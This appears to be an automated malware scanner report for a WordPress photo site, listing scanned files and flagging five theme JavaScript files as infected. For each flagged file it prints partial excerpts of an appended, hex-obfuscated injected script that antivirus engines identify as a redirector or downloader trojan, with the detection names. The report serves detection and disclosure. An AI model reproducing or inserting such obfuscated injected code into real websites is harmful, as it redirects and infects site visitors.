New scan:

Malware Scanner report for tribespotting.com

Malicious/Suspicious/Total urls checked
5/0/15
5 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://www.tribespotting.com/
200 OK
Content-Length: 22556
Content-Type: text/html
clean
http://tribespotting.stefanolevi.com/wp-includes/js/jquery/jquery.js?ver=1.11.1
200 OK
Content-Length: 95807
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 7200
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/plugins/jetpack/_inc/postmessage.js?ver=3.1.1
200 OK
Content-Length: 19615
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/plugins/jetpack/_inc/jquery.inview.js?ver=3.1.1
200 OK
Content-Length: 5590
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/plugins/jetpack/_inc/jquery.jetpack-resize.js?ver=3.1.1
200 OK
Content-Length: 8104
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/jquery.cycle.js?ver=4.0
200 OK
Content-Length: 31068
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)



(function($){var ver="2.72";if($.support==undefined){$.support={opacity:!($.browser.msie)};}function debug(s){if($.fn.cycle.debug){log(s);}}function log(){if(window.console&&window.console.log){window.console.log("[cycle] "+Array.prototype.join.call(arguments," "));}}$.fn.cycle=function(options,arg2){var o={s:this.selector,c:this.context};if(this.length===0&&options!="stop"){if(!$.isReady&&o.s){log("DOM not ready, queuing slideshow");$(function(){$(o.s,o.c).c
... 3038 bytes are skipped ...
/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Antivirus reports:

Avast
JS:Agent-AZY [Trj]
Ad-Aware
Trojan.JS.Agent.EXP
Ikarus
Trojan.JS.Alescurf
nProtect
Trojan.JS.Agent.EXP
K7AntiVirus
Exploit ( 04c561271 )
Emsisoft
Trojan.JS.Agent.EXP (B)
Comodo
TrojWare.JS.Agent.C
CAT-QuickHeal
JS/Alescurf.D
K7GW
Exploit ( 04c561271 )
McAfee-GW-Edition
JS/Redirector
DrWeb
JS.DownLoader.216
Microsoft
Trojan:JS/Redirector.IM
Kaspersky
Trojan-Downloader.JS.Agent.gnk
MicroWorld-eScan
Trojan.JS.Agent.EXP
Fortinet
JS/Redirector.KO!tr
TotalDefense
JS/Alescurf.B
Cyren
JS/Agent.PL
McAfee
JS/Redirector
NANO-Antivirus
Trojan.Script.Agent.lyldx
ClamAV
JS.Trojan.Redir-3
F-Secure
Trojan.JS.Agent.EXP
VIPRE
Trojan.JS.Generic (v)
Avira
JS/Infected.C
F-Prot
JS/Agent.PL
AVG
JS/Agent.Y
Norman
Agent.ACM
Sophos
Troj/JSRedir-DO
GData
Trojan.JS.Agent.EXP
Symantec
JS.Alescurf
AVware
Trojan.JS.Generic (v)
BitDefender
Trojan.JS.Agent.EXP

http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/preloader.js?ver=4.0
200 OK
Content-Length: 2829
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function($) {
var imgList = [];
$.extend({
preload: function(imgArr, option) {
var setting = $.extend({
init: function(loaded, total) {},
loaded: function(img, loaded, total) {},
loaded_all: function(loaded, total) {}
}, option);
var total = imgArr.length;
var loaded = 0;

setting.init(0, total);
for(var i in imgArr) {
imgList.push($("<img />")
.attr("src", imgArr[i])
.load(f
... 1950 bytes are skipped ...
/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Antivirus reports:

Qihoo-360
Trojan.Generic
Avast
JS:Agent-AZY [Trj]
Ad-Aware
Trojan.JS.Agent.EXP
Bkav
MW.Clode72.Trojan.fbce
Antiy-AVL
Trojan[Downloader]/JS.Agent.gnk
Ikarus
Trojan.JS.Alescurf
AhnLab-V3
JS/IFrame
nProtect
Trojan.JS.Agent.EXP
K7AntiVirus
Exploit ( 04c561271 )
Comodo
TrojWare.JS.Agent.C
Emsisoft
Trojan.JS.Agent.EXP (B)
CAT-QuickHeal
JS/Alescurf.D
K7GW
Exploit ( 04c561271 )
McAfee-GW-Edition
JS/Redirector
DrWeb
JS.DownLoader.216
Microsoft
Trojan:JS/Redirector.IM
Kaspersky
Trojan-Downloader.JS.Agent.gnk
ViRobot
JS.A.Agent.2829
MicroWorld-eScan
Trojan.JS.Agent.EXP
Tencent
Win32.Trojan-Downloader.Agent.djoh
Fortinet
JS/Redirector.KO!tr
TotalDefense
JS/Alescurf.B
Cyren
JS/Agent.PL
McAfee
JS/Redirector
NANO-Antivirus
Trojan.Script.Agent.lyldx
ClamAV
JS.Trojan.Redir-3
F-Secure
Trojan.JS.Agent.EXP
VIPRE
Trojan.JS.Generic (v)
Avira
JS/Infected.C
F-Prot
JS/Agent.PL
AVG
JS/Agent.Y
Norman
Agent.ACM
Sophos
Troj/JSRedir-DO
GData
Trojan.JS.Agent.EXP
Symantec
JS.Alescurf
AVware
Trojan.JS.Generic (v)
BitDefender
Trojan.JS.Agent.EXP

http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/nav/superfish.js?ver=4.0
200 OK
Content-Length: 5920
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

;(function($){
$.fn.superfish = function(op){
var sf = $.fn.superfish,
c = sf.c,
$arrow = $(['<span class="',c.arrowClass,'"> &#187;</span>'].join('')),
over = function(){
var $$ = $(this), menu = getMenu($$);
clearTimeout(menu.sfTimer);
$$.showSuperfishUl().siblings().hideSuperfishUl();
},
out = function(){
var $$ = $(this), menu = getMenu($$), o = sf.op;
clearTimeout(menu.sfTimer);
men
... 3294 bytes are skipped ...
/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Antivirus reports:

AntiVir
JS/Infected.C
Avast
JS:Agent-AZY [Trj]
Ikarus
Trojan.JS.Alescurf
AhnLab-V3
JS/IFrame
nProtect
Trojan.JS.Agent.EXP
K7AntiVirus
Trojan
Emsisoft
Trojan.JS.Agent.EXP (B)
Comodo
TrojWare.JS.Agent.C
CAT-QuickHeal
JS/Alescurf.D
McAfee-GW-Edition
JS/Redirector
DrWeb
JS.DownLoader.216
Kaspersky
Trojan-Downloader.JS.Agent.gnk
Microsoft
Trojan:JS/Redirector.IM
MicroWorld-eScan
Trojan.JS.Agent.EXP
Fortinet
JS/Redirector.KO!tr
PCTools
Malware.JS-Alescurf
TotalDefense
JS/Alescurf.B
McAfee
JS/Redirector
NANO-Antivirus
Trojan.Script.Agent.lyldx
ClamAV
JS.Trojan.Redir-3
F-Secure
Trojan.JS.Agent.EXP
VIPRE
Trojan.JS.Generic (v)
eSafe
JS.Agent.gnk
F-Prot
JS/Agent.PL
AVG
JS/Agent.Y
Norman
Agent.ACM
Sophos
Troj/JSRedir-DO
GData
Trojan.JS.Agent.EXP
Symantec
JS.Alescurf
Commtouch
JS/Agent.PL
BitDefender
Trojan.JS.Agent.EXP

http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/nav/supersubs.js?ver=4.0
200 OK
Content-Length: 5504
Content-Type: application/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/search.js?ver=4.0
200 OK
Content-Length: 2980
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function clearInput(field_id, term_to_clear) {

if (document.getElementById(field_id).value == term_to_clear ) {
document.getElementById(field_id).value = '';
}

else if (document.getElementById(field_id).value == '' ) {
document.getElementById(field_id).value = term_to_clear;
}
}
var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2
... 1539 bytes are skipped ...
/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Antivirus reports:

Microsoft
Trojan:JS/Redirector.IM
NANO-Antivirus
Trojan.Url.IframeB.bfxfei
AVG
JS/Agent

http://tribespotting.stefanolevi.com/wp-content/themes/photo-workshop/includes/js/jquery.custom.js?ver=4.0
200 OK
Content-Length: 3391
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

jQuery(document).ready(function(){
jQuery(".pad img").hover(function(){
jQuery(this).fadeTo("slow", 0.6); },function(){
jQuery(this).fadeTo("slow", 1.0); });

jQuery.fn.slideFadeToggle = function(speed, easing, callback) {
return this.animate({opacity: 'toggle', height: 'toggle'}, speed, easing, callback);
};

jQuery('#show_captions').click( function() {
jQuery(".caption").each(function (i) {
if (this.style.display == "none")
... 2415 bytes are skipped ...
/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Antivirus reports:

Avast
JS:Agent-AZY [Trj]
Ad-Aware
Trojan.JS.Agent.EXP
Ikarus
Trojan.JS.Alescurf
AhnLab-V3
JS/IFrame
nProtect
Trojan.JS.Agent.EXP
K7AntiVirus
Exploit ( 04c561271 )
Comodo
TrojWare.JS.Agent.C
Emsisoft
Trojan.JS.Agent.EXP (B)
CAT-QuickHeal
JS/Alescurf.D
K7GW
Exploit ( 04c561271 )
McAfee-GW-Edition
JS/Redirector
DrWeb
JS.DownLoader.216
Microsoft
Trojan:JS/Redirector.IM
Kaspersky
Trojan-Downloader.JS.Agent.gnk
MicroWorld-eScan
Trojan.JS.Agent.EXP
Fortinet
JS/Redirector.KO!tr
TotalDefense
JS/Alescurf.B
Cyren
JS/Agent.PL
McAfee
JS/Redirector
NANO-Antivirus
Trojan.Script.Agent.lyldx
ClamAV
JS.Trojan.Redir-3
F-Secure
Trojan.JS.Agent.EXP
VIPRE
Trojan.JS.Generic (v)
Avira
JS/Infected.C
F-Prot
JS/Agent.PL
AVG
JS/Agent.Y
Norman
Agent.ACM
Sophos
Troj/JSRedir-DO
GData
Trojan.JS.Agent.EXP
Symantec
JS.Alescurf
AVware
Trojan.JS.Generic (v)
BitDefender
Trojan.JS.Agent.EXP

http://tribespotting.stefanolevi.com/wp-includes/js/swfobject.js?ver=2.2-20120417
200 OK
Content-Length: 10231
Content-Type: application/javascript
clean
http://app.icontact.com/icp/loadsignup.php/form.js?c=974419&l=46978&f=9174
200 OK
Content-Length: 2702
Content-Type: text/javascript
clean
http://tribespotting.stefanolevi.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20
200 OK
Content-Length: 15248
Content-Type: application/javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: tribespotting.com

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: tribespotting.com
Referer: http://www.google.com/search?q=tribespotting.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=tribespotting.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://tribespotting.com/

Result: tribespotting.com is not infected or malware details are not published yet.